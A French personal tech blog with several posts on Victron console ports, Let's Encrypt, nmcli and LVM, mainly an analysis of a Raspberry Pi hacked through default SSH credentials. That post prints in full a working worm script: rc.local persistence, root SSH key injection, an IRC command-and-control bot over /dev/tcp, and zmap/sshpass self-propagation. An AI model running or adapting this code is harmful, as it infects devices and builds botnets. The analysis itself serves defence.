samedi, 10 août 2019

ADP : Le référendum d'initiative partagée

Voilà moi aussi j'ai signé aujourd'hui le référendum d’initiative partagée et mis en ligne par le gouvernement. J'avoue que comme j'ai pu l'entendre à droite et à gauche, ce dernier est très peu intuitif et semé de quelques petites embûches.

https://www.referendum.interieur.gouv.fr/initiatives_encours

Voilà ce qu'il vous faudra pour compléter votre signature :

  • Être inscrit sur une liste électorale
  • Le numéro de votre carte d'identité nationale vous sera demandé
  • Inscrivez tous vos prénoms figurant sur votre carte avec des majuscules et sans virgule entre chaque, juste un espace
  • Pour les femmes mariées c’est votre nom patronymique (nom de jeune fille) qui est à renseigner
  • Pour votre ville c’est majuscule et tiret s’il y a lieu et c’est le code INSEE qui compte, pas le code postal. Le code INSEE est proposé, vous avez juste à confirmer
  • Il faut renseigner la ville de votre inscription sur les listes électorales
  • Pour le captcha de vérification n’hésitez pas à en demander un nouveau si ce dernier est illisible ou dépasse du cadre.

Quelques liens histoire de vous sentir moins seul au moment de la saisie : https://www.youtube.com/watch?v=3e3Z-MgFG5k
https://www.adprip.fr/chart.html

jeudi, 28 mars 2019

Victron Energy : utilisation du port console

Aujourd'hui j'ai voulu valider le fonctionnement du port console sur mon régulateur Victron Energy MPPT 75/10. Ayant volontairement fais le choix de ce modèle car je ne souhaitais pas avoir un équipement qui émettent du bluetooth dans mon camion j'ai donc dû trouver un moyen d’accéder aux informations normalement accessible via Bluetooth.

Pour le mapping des PIN voici ce que j'ai identifié. Il s'agit des PIN sur lesquels se trouve un cavalier par défaut

x x x x
| | | |
| | | ---> ground
| | -----> Tx
| -------> Rx
---------> not used

Concernant la configuration de la connexion on laisse tout par défaut et on ne modifie que la vitesse à 19200 Baud. Et là, la magie opère ! On peut à présent voir passer les premières trames !

PID	0xA04C
FW	116
SER#	HQ18039D2ED
V	12890
I	-370
VPV	7690
PPV	0
CS	0
ERR	0
LOAD	ON
IL	300
H19	47
H20	7
H21	43
H22	7
H23	43
HSDS	14
Checksum	}

Les trames sont documentées dans le PDF VE.Direct Protocol disponible ici : https://www.victronenergy.com/support-and-downloads/whitepapers

Voici dans l'ordre leur signification

PID	Numéro du produit
FW	 Version du Firmware
SER#	Numéro de série
V	Voltage de la batterie principale  exprimé en mV
I	Intensité de la batterie exprimée en mA
VPV	 Voltage du panneau solaire exprimé en mV
PPV	 Puissance du panneau solaire exprimée en W
CS	 Etat d'opération (
ERR	 Code d'erreur
LOAD	 État de la sortie 12V
IL	Consommation actuelle sur la sortie 12V exprimée en mA
H19	rendement total exprimée en 0,01kWh
H20	rendement du jour exprimée en 0,01kWh
H21	puissance maximum du jour exprimée en 0,01kWh
H22	rendement du jour précédent exprimée en 0,01kWh
H23	puissance maximum du jour précédent exprimée en 0,01kWh
HSDS	Numéro du jour

Voilà pour aujourd'hui, mais ça laisse présager tout plein de choses à potentiellement grapher. Je vais faire un tour du coté de Venus OS packagé par Victron Energy exprès pour mon p'tit Raspberry Pi
https://github.com/victronenergy/venus/

Pour la réalisation du câble console, vous pouvez le fabriquer vous même à l'aide de cette petite vidéo:
https://www.youtube.com/watch?v=wkZpI_BRmB4
Ça annonce encore du lourd et des nuits bien chargées tout ça !

Lets Encrypt : renouvellement de certificat

J'avais mis en place une regénération automatiques de mais certificats Let's Encrypt sur mes serveurs. Mais pour je ne sais quelle raison cette dernière a cessée de fonctionner. Lorsque je lançais la commande manuellement ça me retournait le message d'erreur suivant :

Attempting to renew cert (blog.tools-fm.com) from /etc/letsencrypt/renewal/blog.tools-fm.com.conf produced an unexpected error: 'ascii' codec can't decode byte 0xc3 in position 137: ordinal not in range(128). Skipping

Il s'avère qu'un problème d'encodage dans mes fichiers de configuration nginx empechaient les certificats d'être générés automatiquement. J'ai donc du faire le tour de mes fichiers de configuration nginx et supprimer tous les accents dans les commentaires que j'ai trouvé a l'aide de la commande suivante :

grep -nRP '[\x80-\xFF]'  /etc/nginx/sites-available/blog.tools-fm.com

Une fois l'ensemble des fichiers nginx nettoyés j'ai pu générer mes certificats sans aucun problème grâce à la commande suivante

certbot --nginx renew

Liens connexes :

https://stackoverflow.com/questions/48932512/certbot-renew-certonly-dash-error-ascii-codec-cant-decode-byte

jeudi, 7 mars 2019

[nmcli] : configuration de la résolution DNS et des domaines de recherche

Voici comment configurer via l'outil nmcli la résolution DNS ainsi que les domaines de recherche d'une machine

$ nmcli con show eth0 | grep dns

on observe ici les valeurs des paramètres "ipv4.dns" et "ipv4.dns-search"

$ sudo nmcli con mod eth0 ipv4.dns 10.21.70.7,10.21.70.8 ipv4.dns-search unix.domain.com,siege.domain.org,test.intra

on recharge ensuite les paramètres pour prise en compte de la nouvelle configuration

$ sudo nmcli con up eth0

ou

sudo nmcli device reapply

Liens connexes :

[nmcli] : ajout d'un alias IP sur une interface réseau

Pour ajouter un alias ip à une interface réseau via nmcli voici la liste de commandes :

$ sudo nmcli con mod eth1 +ipv4.addresses 10.10.182.91/24

il convient ensuite de recharger l'interface pour prise en compte de la modification

$ sudo nmcli con up eth1

pour vérifier la prise en compte de la configuration on affiche la configuration de l'interface

$ ip a show dev eth1
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP qlen 1000
    link/ether 00:50:56:95:5b:16 brd ff:ff:ff:ff:ff:ff
    inet 10.10.182.83/24 brd 10.18.182.255 scope global noprefixroute eth1
       valid_lft forever preferred_lft forever
    inet 10.10.182.91/24 brd 10.10.182.255 scope global secondary noprefixroute eth1
       valid_lft forever preferred_lft forever

mercredi, 13 février 2019

[Linux] supprimer à chaud un disque

Parce qu'à chaque fois, j'ai un petit moment d'égarement et que je ne sais plus comment réaliser l'action, voici un petit mémo. Contexte: Sur une machine virtuelle, on souhaite supprimer de la volumétrie utilisée jusqu'alors. La volumétrie est gérée via LVM. petit tout d'horizon de la situation

$ df -hP | grep eetpxx01
/dev/mapper/eetpxx01vg-eetpxx01data   20G   47M   19G   1% /data/oracle/eetpxx01/data
/dev/mapper/eetpxx01vg-eetpxx01work  4.8G   10M  4.6G   1% /data/oracle/eetpxx01/work
/dev/mapper/eetpxx01vg-eetpxx01fraw   22G   44M   21G   1% /data/oracle/eetpxx01/fraw
/dev/mapper/eetpxx01vg-eetpxx01redo  961M  1.3M  910M   1% /data/oracle/eetpxx01/redo
$ sudo pvs | grep eetpxx01
/dev/sdx1  eetpxx01vg lvm2 a--u   24.97g      0
/dev/sdy1  eetpxx01vg lvm2 a--u   21.97g      0
/dev/sdz1  eetpxx01vg lvm2 a--u  992.00m      0

La suppression va donc porter sur ces volumes dans un premier temps on démonte les partitions que l'on souhaite supprimer

sudo umount /dev/eetpxx01vg/eetpxx01{fraw,redo,work,data}

Une fois les partitions démontées nous allons pouvoir les supprimer Nous pourrions aussi supprimer directement le Volume Group mais pour le cas d'école on va faire ça proprement

sudo lvremove /dev/eetpxx01vg/eetpxx01{data,fraw,redo,work} -y

On supprime ensuite le Volume Group

sudo vgremove eetpxx01vg

On supprime ensuite les Physical Volume

sudo pvremove /dev/sd{x,y,z}1

A ce stade l'ensemble de la volumétrie n'est plus présente mais toujours présentée sur la machine virtuelle. On va ensuite proceder à la suppression de la volumétrie dans VMWare. On récupère les ID des disques à décommissionner :

# sudo lsscsi | egrep 'sdx|sdy|sdz'
[4:0:10:0]   disk    VMware   Virtual disk     1.0   /dev/sdx
[4:0:11:0]   disk    VMware   Virtual disk     1.0   /dev/sdy
[4:0:12:0]   disk    VMware   Virtual disk     1.0   /dev/sdz

une fois les disques correspondants dans VMware on supprime le disque d'un point de vue système

echo 1 > /sys/block/sd{x,y,z}/device/delete

jeudi, 15 juin 2017

Piratage d'un raspberry

Présentation

J'aurais pu raconter que j'ai monté chez moi un "honey pot" pour voir ce qu'il se passe mais en fait c'est plutôt une erreur dans le mode opératoire qui m'a conduit à cette situation. Voilà quelques jours que je suis en train de bricoler un cluster de Raspberry, et l'une des première étape était de valider le boot via PXE afin de ne plus m’embêter avec des cartes MicroSD. J'ai donc mis en place, et rendu fonctionnel le tout, en suivant le tutoriel disponible sur le site officiel de raspberry

J'avais à la fin du tutoriel une image par défaut de raspbian fonctionnelle. Comme ça fait plaisir je décide alors d'activer le service OpenVPN sur cette dernière et configurer mon VPN FDN. Quelques minutes plus tard tout fonctionne au poil et mon Raspberry présente une interface tun0 munie d'une jolie adresse IP publique.

Oui mais voila, en faisant ça je publiais l'ensemble des services portés par le Raspberry, sur internet au travers du VPN... Dont le service SSH avec les identifiants et mot de passe par défaut ! La bonne idée :) Le début des embrouilles

Il aura fallu 5 minutes, pour que je vois le Raspberry rebooter tout seul, et que je sois ensuite dans l'incapacité d'y accéder... Je suis joueur mais j'ai à ce moment j'ai préféré couper électriquement le Raspberry et essayer de comprendre ce qu'il venait de se passer. Comme je l'indiquais précédemment, l'ensemble du système de fichier du Raspberry, est hébergé sur un serveur NFS; j'ai donc pu consulter l'ensemble des fichiers sans que la machine ne soit allumée. Mais en fait il se passe quoi ?

D'abord un p'tit tour dans les logs de connexion:

Jun  8 21:01:53 raspberrypi sshd[933]: Accepted password for pi from 82.67.125.66 port 49074 ssh2
Jun  8 21:01:53 raspberrypi sshd[932]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=crb44-1-82-67-125-66.fbx.proxa
d.net  user=pi
Jun  8 21:01:53 raspberrypi sshd[933]: pam_unix(sshd:session): session opened for user pi by (uid=0)
Jun  8 21:01:54 raspberrypi sshd[940]: Received disconnect from 82.67.125.66: 11: disconnected by user
Jun  8 21:01:54 raspberrypi sshd[933]: pam_unix(sshd:session): session closed for user pi
Jun  8 21:01:55 raspberrypi sshd[932]: Failed password for pi from 82.67.125.66 port 49072 ssh2
Jun  8 21:01:55 raspberrypi sshd[932]: Connection closed by 82.67.125.66 [preauth]
Jun  8 21:01:56 raspberrypi sshd[946]: Accepted password for pi from 82.67.125.66 port 49106 ssh2
Jun  8 21:01:56 raspberrypi sshd[946]: pam_unix(sshd:session): session opened for user pi by (uid=0)

A première vue quelqu'un s'est connecté avec les identifiants mot de passe par défaut via le tunnel VPN. Si on cherche un peu sur le net des informations pour cette IP, on réalise rapidement que ce n'est pas la première fois que la chose se manifeste . Cette dernière est semble-t-il une abonnée des brutes-force sur le service SSH. Descendons un peu plus bas dans les journaux d’événements, voir ce qu'il a fait:

Jun  8 21:01:57 raspberrypi sudo:       pi : TTY=unknown ; PWD=/tmp ; USER=root ; COMMAND=/bin/cp /tmp/hNMz6kMi /opt/0AgvRpKd
Jun  8 21:01:57 raspberrypi sudo: pam_unix(sudo:session): session opened for user root by (uid=0)
Jun  8 21:01:57 raspberrypi sudo: pam_unix(sudo:session): session closed for user root
Jun  8 21:01:57 raspberrypi sudo:       pi : TTY=unknown ; PWD=/tmp ; USER=root ; COMMAND=/bin/sh -c echo '#!/bin/sh -e' > /etc/rc.local
Jun  8 21:01:57 raspberrypi sudo: pam_unix(sudo:session): session opened for user root by (uid=0)
Jun  8 21:01:57 raspberrypi sudo: pam_unix(sudo:session): session closed for user root
Jun  8 21:01:57 raspberrypi sudo:       pi : TTY=unknown ; PWD=/tmp ; USER=root ; COMMAND=/bin/sh -c echo /opt/0AgvRpKd >> /etc/rc.local
Jun  8 21:01:57 raspberrypi sudo: pam_unix(sudo:session): session opened for user root by (uid=0)
Jun  8 21:01:57 raspberrypi sudo: pam_unix(sudo:session): session closed for user root
Jun  8 21:01:57 raspberrypi sudo:       pi : TTY=unknown ; PWD=/tmp ; USER=root ; COMMAND=/bin/sh -c echo 'exit 0' >> /etc/rc.local
Jun  8 21:01:57 raspberrypi sudo: pam_unix(sudo:session): session opened for user root by (uid=0)
Jun  8 21:01:57 raspberrypi sudo: pam_unix(sudo:session): session closed for user root
Jun  8 21:01:58 raspberrypi sudo:       pi : TTY=unknown ; PWD=/tmp ; USER=root ; COMMAND=/sbin/reboot
Jun  8 21:01:58 raspberrypi sudo: pam_unix(sudo:session): session opened for user root by (uid=0)

Je crois qu'on tiens quelque chose ici ! Donc à première vue, le mec s'invite chez moi; DÉJÀ ! copie un fichier /tmp/hNMz6kMi vers /opt/0AgvRpKd; et comme si ça ne suffisait pas modifie mon /etc/rc.local pour exécuter ce qui doit certainement être un script à chaque démarrage de mon pauvre Raspberry. Culotté le type !

Mais que peut bien faire ce script au nom douteux ? Bah allons voir !

#!/bin/bash

MYSELF=`realpath $0`
DEBUG=/dev/null
echo $MYSELF >> $DEBUG

if [ "$EUID" -ne 0 ]
then 
	NEWMYSELF=`mktemp -u 'XXXXXXXX'`
	sudo cp $MYSELF /opt/$NEWMYSELF
	sudo sh -c "echo '#!/bin/sh -e' > /etc/rc.local"
	sudo sh -c "echo /opt/$NEWMYSELF >> /etc/rc.local"
	sudo sh -c "echo 'exit 0' >> /etc/rc.local"
	sleep 1
	sudo reboot
else
TMP1=`mktemp`
echo $TMP1 >> $DEBUG

killall bins.sh
killall minerd
killall node
killall nodejs
killall ktx-armv4l
killall ktx-i586
killall ktx-m68k
killall ktx-mips
killall ktx-mipsel
killall ktx-powerpc
killall ktx-sh4
killall ktx-sparc
killall arm5
killall zmap
killall kaiten
killall perl

echo "127.0.0.1 bins.deutschland-zahlung.eu" >> /etc/hosts
rm -rf /root/.bashrc
rm -rf /home/pi/.bashrc

usermod -p \$6\$vGkGPKUr\$heqvOhUzvbQ66Nb0JGCijh/81sG1WACcZgzPn8A0Wn58hHXWqy5yOgTlYJEbOjhkHD0MRsAkfJgjU/ioCYDeR1 pi

mkdir -p /root/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCl0kIN33IJISIufmqpqg54D6s4J0L7XV2kep0rNzgY1S1IdE8HDef7z1ipBVuGTygGsq+x4yVnxveGshVP48YmicQHJMCIljmn6Po0RMC48qihm/9ytoEYtkKkeiTR02c6DyIcDnX3QdlSmEqPqSNRQ/XDgM7qIB/VpYtAhK/7DoE8pqdoFNBU5+JlqeWYpsMO+qkHugKA5U22wEGs8xG2XyyDtrBcw10xz+M7U8Vpt0tEadeV973tXNNNpUgYGIFEsrDEAjbMkEsUw+iQmXg37EusEFjCVjBySGH3F+EQtwin3YmxbB9HRMzOIzNnXwCFaYU5JjTNnzylUBp/XB6B"  >> /root/.ssh/authorized_keys

echo "nameserver 8.8.8.8" >> /etc/resolv.conf
rm -rf /tmp/ktx*
rm -rf /tmp/cpuminer-multi
rm -rf /var/tmp/kaiten

cat > /tmp/public.pem <<EOFMARKER
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC/ihTe2DLmG9huBi9DsCJ90MJs
glv7y530TWw2UqNtKjPPA1QXvNsWdiLpTzyvk8mv6ObWBF8hHzvyhJGCadl0v3HW
rXneU1DK+7iLRnkI4PRYYbdfwp92nRza00JUR7P4pghG5SnRK+R/579vIiy+1oAF
WRq+Z8HYMvPlgSRA3wIDAQAB
-----END PUBLIC KEY-----
EOFMARKER

BOT=`mktemp -u 'XXXXXXXX'`

cat > /tmp/$BOT <<'EOFMARKER'
#!/bin/bash

SYS=`uname -a | md5sum | awk -F' ' '{print $1}'`
NICK=a${SYS:24}
while [ true ]; do

	arr[0]="ix1.undernet.org"
	arr[1]="ix2.undernet.org"
	arr[2]="Ashburn.Va.Us.UnderNet.org"
	arr[3]="Bucharest.RO.EU.Undernet.Org"
	arr[4]="Budapest.HU.EU.UnderNet.org"
	arr[5]="Chicago.IL.US.Undernet.org"
	rand=$[$RANDOM % 6]
	svr=${arr[$rand]}

	eval 'exec 3<>/dev/tcp/$svr/6667;'
	if [[ ! "$?" -eq 0 ]] ; then
			continue
	fi

	echo $NICK

	eval 'printf "NICK $NICK\r\n" >&3;'
	if [[ ! "$?" -eq 0 ]] ; then
			continue
	fi
	eval 'printf "USER user 8 * :IRC hi\r\n" >&3;'
	if [[ ! "$?" -eq 0 ]] ; then
		continue
	fi

	# Main loop
	while [ true ]; do
		eval "read msg_in <&3;"

		if [[ ! "$?" -eq 0 ]] ; then
			break
		fi

		if  [[ "$msg_in" =~ "PING" ]] ; then
			printf "PONG %s\n" "${msg_in:5}";
			eval 'printf "PONG %s\r\n" "${msg_in:5}" >&3;'
			if [[ ! "$?" -eq 0 ]] ; then
				break
			fi
			sleep 1
			eval 'printf "JOIN #biret\r\n" >&3;'
			if [[ ! "$?" -eq 0 ]] ; then
				break
			fi
		elif [[ "$msg_in" =~ "PRIVMSG" ]] ; then
			privmsg_h=$(echo $msg_in| cut -d':' -f 3)
			privmsg_data=$(echo $msg_in| cut -d':' -f 4)
			privmsg_nick=$(echo $msg_in| cut -d':' -f 2 | cut -d'!' -f 1)

			hash=`echo $privmsg_data | base64 -d -i | md5sum | awk -F' ' '{print $1}'`
			sign=`echo $privmsg_h | base64 -d -i | openssl rsautl -verify -inkey /tmp/public.pem -pubin`

			if [[ "$sign" == "$hash" ]] ; then
				CMD=`echo $privmsg_data | base64 -d -i`
				RES=`bash -c "$CMD" | base64 -w 0`
				eval 'printf "PRIVMSG $privmsg_nick :$RES\r\n" >&3;'
				if [[ ! "$?" -eq 0 ]] ; then
					break
				fi
			fi
		fi
	done
done
EOFMARKER

chmod +x /tmp/$BOT
nohup /tmp/$BOT 2>&1 > /tmp/bot.log &
rm /tmp/nohup.log -rf
rm -rf nohup.out
sleep 3
rm -rf /tmp/$BOT

NAME=`mktemp -u 'XXXXXXXX'`

date > /tmp/.s

apt-get update -y --force-yes
apt-get install zmap sshpass -y --force-yes

while [ true ]; do
	FILE=`mktemp`
	zmap -p 22 -o $FILE -n 100000
	killall ssh scp
	for IP in `cat $FILE`
	do
		sshpass -praspberry scp -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MYSELF pi@$IP:/tmp/$NAME  && echo $IP >> /opt/.r && sshpass -praspberry ssh pi@$IP -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no "cd /tmp && chmod +x $NAME && bash -c ./$NAME" &
		sshpass -praspberryraspberry993311 scp -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MYSELF pi@$IP:/tmp/$NAME  && echo $IP >> /opt/.r && sshpass -praspberryraspberry993311 ssh pi@$IP -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no "cd /tmp && chmod +x $NAME && bash -c ./$NAME" &
	done
	rm -rf $FILE
	sleep 10
done

fi

Préparation du terrain

Bon j'avoue que ça se complique un peu mais il est possible sans trop de souci de comprendre une bonne partie de ce qui a été fait par le script de l'attaquant.

MYSELF=`realpath $0`
DEBUG=/dev/null
echo $MYSELF >> $DEBUG

Ici on récupère le chemin absolu pour le script en court d’exécution.

if [ "$EUID" -ne 0 ]
then 
	NEWMYSELF=`mktemp -u 'XXXXXXXX'`
	sudo cp $MYSELF /opt/$NEWMYSELF
	sudo sh -c "echo '#!/bin/sh -e' > /etc/rc.local"
	sudo sh -c "echo /opt/$NEWMYSELF >> /etc/rc.local"
	sudo sh -c "echo 'exit 0' >> /etc/rc.local"
	sleep 1
	sudo reboot

Si le script est exécuté avec un utilisateur dont l'UID est différent de 0 (non root) alors :

  • On génère une chaine de caractère,
  • On copie le script depuis l'endroit ou il se trouve vers le répertoire /opt
  • On écrase ensuite le fichier rc.local existant et on insère le chemin vers le script pour que ce dernier se lance à chaque démarrage.
  • Enfin on reboot la machine (pour enfin lancer le script en tant que root ;-) ).

Voyons ensuite ce qu'il se passe une fois le script lancé comme le souhaite l'attaquant:

TMP1=`mktemp`
echo $TMP1 >> $DEBUG

killall bins.sh
killall minerd
killall node
killall nodejs
killall ktx-armv4l
killall ktx-i586
killall ktx-m68k
killall ktx-mips
killall ktx-mipsel
killall ktx-powerpc
killall ktx-sh4
killall ktx-sparc
killall arm5
killall zmap
killall kaiten
killall perl

Ici à première vue, rien de super fun, on stoppe d'éventuels services, processus qui pourraient venir parasiter l’exécution du script. Pourtant, en y regardant de plus près, certains noms mettent tout de même un peu la puce à l'oreille, et n'augurent rien de

  • bins.sh : semble être en lien avec cette entrée DNS que l'on voit un peu plus bas dans le script.
  • minerd : c'est marrant mais on entrevoit vite de quoi ça cause ! Pas manqué, il s'agit d'un outil de mining bictoin
  • zmap : bouah ça c'est un truc "standard" disponible dans les dépôts Debian. "ZMap is a fast single packet network scanner designed for Internet-wide network surveys".
  • kaiten : bah alors ! comme si ça suffit pas le monsieur veut en plus un trojan sur ma machine ! Oui parce que cet executable est bien connu des services de sécurité

Je n'ai pour le moment rien trouvé sur ce trucs ktx-XXXXX mais je pense bien qu'il s'agit d'un malware ou autre truc dans le genre qui ne vous veut pas forcement du bien. Pour le début, on a déjà un beau tour d'horizon de l'outil et ce p'tit script tout insignifiant laisse pré-sentir quelque chose d'un peu plus violent que prévu. La compromission

echo "127.0.0.1 bins.deutschland-zahlung.eu" >> /etc/hosts

Là, on ajoute une entrée pour le domaine bins.deutschland-zahlung.eu. Toute requete faite sur ce domaine par la machine infectée résoudra nécéssairement 127.0.0.1 comme adresse IP. je pense que c'est en lien avec le bins.sh donc il est question juste avant.

rm -rf /root/.bashrc
rm -rf /home/pi/.bashrc

On supprime les éventuelles personnalisations de variables d'environnement pour éviter le parasitage pour les utilisateurs root et pi. T'as vu; moi j'aime quand c'est propre et rangé !

usermod -p \$6\$vGkGPKUr\$heqvOhUzvbQ66Nb0JGCijh/81sG1WACcZgzPn8A0Wn58hHXWqy5yOgTlYJEbOjhkHD0MRsAkfJgjU/ioCYDeR1 pi

Bon et si on changeait le mot de passe de l'utilisateur pi ? à partir de cet instant tu perds la main sur ta machine...

mkdir -p /root/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCl0kIN33IJISIufmqpqg54D6s4J0L7XV2kep0rNzgY1S1IdE8HDef7z1ipBVuGTygGsq+x4yVnxveGshVP48YmicQHJMCIljmn6Po0RMC48qihm/9ytoEYtkKkeiTR02c6DyIcDnX3QdlSmEqPqSNRQ/XDgM7qIB/VpYtAhK/7DoE8pqdoFNBU5+JlqeWYpsMO+qkHugKA5U22wEGs8xG2XyyDtrBcw10xz+M7U8Vpt0tEadeV973tXNNNpUgYGIFEsrDEAjbMkEsUw+iQmXg37EusEFjCVjBySGH3F+EQtwin3YmxbB9HRMzOIzNnXwCFaYU5JjTNnzylUBp/XB6B"  >> /root/.ssh/authorized_keys

Et puis comme je risque de revenir, je vais poser une clé SSH publique pour s'authentifier avec le compte root sans mot de passe ! Oui c'est mieux pour lancer des choses automatiquement tu comprends :)

cat > /tmp/public.pem <<EOFMARKER
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC/ihTe2DLmG9huBi9DsCJ90MJs
glv7y530TWw2UqNtKjPPA1QXvNsWdiLpTzyvk8mv6ObWBF8hHzvyhJGCadl0v3HW
rXneU1DK+7iLRnkI4PRYYbdfwp92nRza00JUR7P4pghG5SnRK+R/579vIiy+1oAF
WRq+Z8HYMvPlgSRA3wIDAQAB
-----END PUBLIC KEY-----
EOFMARKER

On pose une p'tite clé publique d'un certificat SSL, on s'en servira plus tard tu vas voir c'est joli ! La porte dérobée

cat > /tmp/$BOT <<'EOFMARKER'
#!/bin/bash
 
SYS=`uname -a | md5sum | awk -F' ' '{print $1}'`
NICK=a${SYS:24}
while [ true ]; do
 
    arr[0]="ix1.undernet.org"
    arr[1]="ix2.undernet.org"
    arr[2]="Ashburn.Va.Us.UnderNet.org"
    arr[3]="Bucharest.RO.EU.Undernet.Org"
    arr[4]="Budapest.HU.EU.UnderNet.org"
    arr[5]="Chicago.IL.US.Undernet.org"
    rand=$[$RANDOM % 6]
    svr=${arr[$rand]}
 
    eval 'exec 3<>/dev/tcp/$svr/6667;'
    if [[ ! "$?" -eq 0 ]] ; then
            continue
    fi
 
    echo $NICK
 
    eval 'printf "NICK $NICK\r\n" >&3;'
    if [[ ! "$?" -eq 0 ]] ; then
            continue
    fi
    eval 'printf "USER user 8 * :IRC hi\r\n" >&3;'
    if [[ ! "$?" -eq 0 ]] ; then
        continue
    fi
 
    # Main loop
    while [ true ]; do
        eval "read msg_in <&3;"
 
        if [[ ! "$?" -eq 0 ]] ; then
            break
        fi
 
        if  [[ "$msg_in" =~ "PING" ]] ; then
            printf "PONG %s\n" "${msg_in:5}";
            eval 'printf "PONG %s\r\n" "${msg_in:5}" >&3;'
            if [[ ! "$?" -eq 0 ]] ; then
                break
            fi
            sleep 1
            eval 'printf "JOIN #biret\r\n" >&3;'
            if [[ ! "$?" -eq 0 ]] ; then
                break
            fi
        elif [[ "$msg_in" =~ "PRIVMSG" ]] ; then
            privmsg_h=$(echo $msg_in| cut -d':' -f 3)
            privmsg_data=$(echo $msg_in| cut -d':' -f 4)
            privmsg_nick=$(echo $msg_in| cut -d':' -f 2 | cut -d'!' -f 1)
 
            hash=`echo $privmsg_data | base64 -d -i | md5sum | awk -F' ' '{print $1}'`
            sign=`echo $privmsg_h | base64 -d -i | openssl rsautl -verify -inkey /tmp/public.pem -pubin`
 
            if [[ "$sign" == "$hash" ]] ; then
                CMD=`echo $privmsg_data | base64 -d -i`
                RES=`bash -c "$CMD" | base64 -w 0`
                eval 'printf "PRIVMSG $privmsg_nick :$RES\r\n" >&3;'
                if [[ ! "$?" -eq 0 ]] ; then
                    break
                fi
            fi
        fi
    done
done
EOFMARKER

Je vais traiter tout ce bloc d'un coup, car c'est bien ici que l'intelligence du bousin se trouve. En effet, ici l'attaquant va lancer un socket tcp afin que la machine infectée se connecte à un salon IRC. Pourquoi donc ? Et bien pour que tu te retrouves membre d'une grande famille de machines zombies pardi. La définition vaudou des zombies représente très bien ce qui est fait de ce genre de machine : "Dans la culture vaudou, le zombie est un mort réanimé et sous le contrôle total d'un sorcier" https://fr.wikipedia.org/wiki/Zombie#Concept Donc dans les grandes lignes, notre machine devient client IRC d'un salon auquel elle se connecte automatiquement, et se met en attente d'instructions qui pourraient être envoyées au travers du salon IRC. On distingue 2 cas:

  • un message PING est envoyé sur le salon. Dans ce cas le client répond simplement PONG pour valider de la bonne connectivité. Si ce n'est pas le cas il tente à nouveau de rejoindre le salon.
  • une instruction PRIVMSG complétée par des commandes. C'est ici que l'attaquant va pouvoir soumettre des commandes qui seront exécutées par la machine zombie: toi quoi ! :)

Et comme le mec n'est pas trop dans le partage, il va chiffrer l'ensemble des commandes qu'il soumet, à l'aide du certificat public.pem de tout à l'heure ainsi qu'une petite conversion en base64. Tranquille le chat !

La cerise !

Donc à ce niveau on voit bien que la machine est totalement infectée et commandée par un tiers qui peut exécuter en notre nom tout ce qui pourrait lui passer par la tête (attaque Brutus ! Attaque ! ) Mais il reste des lignes dans notre script... Le mec s'incruste chez toi, te fout à poil, te fait faire ce qu'il veut, et il n'est toujours pas satisfait !? Décidément nous sommes tombé sur un gourmand.

apt-get update -y --force-yes
apt-get install zmap sshpass -y --force-yes
 
while [ true ]; do
    FILE=`mktemp`
    zmap -p 22 -o $FILE -n 100000
    killall ssh scp
    for IP in `cat $FILE`
    do
        sshpass -praspberry scp -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MYSELF pi@$IP:/tmp/$NAME  && echo $IP >> /opt/.r && sshpass -praspberry ssh pi@$IP -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no "cd /tmp && chmod +x $NAME && bash -c ./$NAME" &
        sshpass -praspberryraspberry993311 scp -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MYSELF pi@$IP:/tmp/$NAME  && echo $IP >> /opt/.r && sshpass -praspberryraspberry993311 ssh pi@$IP -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no "cd /tmp && chmod +x $NAME && bash -c ./$NAME" &
    done
    rm -rf $FILE
    sleep 10
done

Voila ce qu'il manquait pour parfaire le tableau !! zmap, comme je l'indiquais précédemment c'est juste un scanner de port ultra rapide. Donc la l'attaquant qui a tout de même pas mal prit ses aises depuis tout à l'heure bah continu sur sa lancée. Ici le monsieur va utiliser notre client pour scanner la bagatelle de 100000 adresses IP à la recherche d'un port 22 ouvert. Dès qu'il en trouve un, il tente une connexion SSH avec les identifiant/mot de passe par défaut et essai de déposer le script via SCP sur la machine distante, le rend exécutable et enfin l’exécute. Une fois notre machine infectée, l'attaquant utilise donc cette dernière comme vecteur de propagation pour à son tour infecter des machines !! C'est beau !

Conclusion

Nous avons donc ici vu une attaque exploitant une configuration par défaut, ainsi que toute la méthodologie pour infecter, contrôler, mais aussi utiliser comme vecteur de propagation une machine compromise. Un joli cas d'école pour ma part que j'ai eu plaisir à trouver et étudier. Moralité de l'histoire, laisser les chose dans leur configuration par défaut c'est mal ! et ça peut faire mal ! Si j'ai la foi je vais essayer de continuer l'analyse et rebrancher la machine afin de voir ce que le sorcier ( le pirate ) peut bien demander à ses zombies de faire. Merci à l'attaquant pour m'avoir permis donné un truc sympa à analyser, j'ai vraiment passé un bon moment (ne pas croire non plus que je n'attend que ça hein :) ) ! Bisous et n'hésitez pas a réagir ou me faire part de vos commentaires ça me fera super plaisir ! Liens connexes

samedi, 4 mars 2017

Chaudière à fuel Viessmann

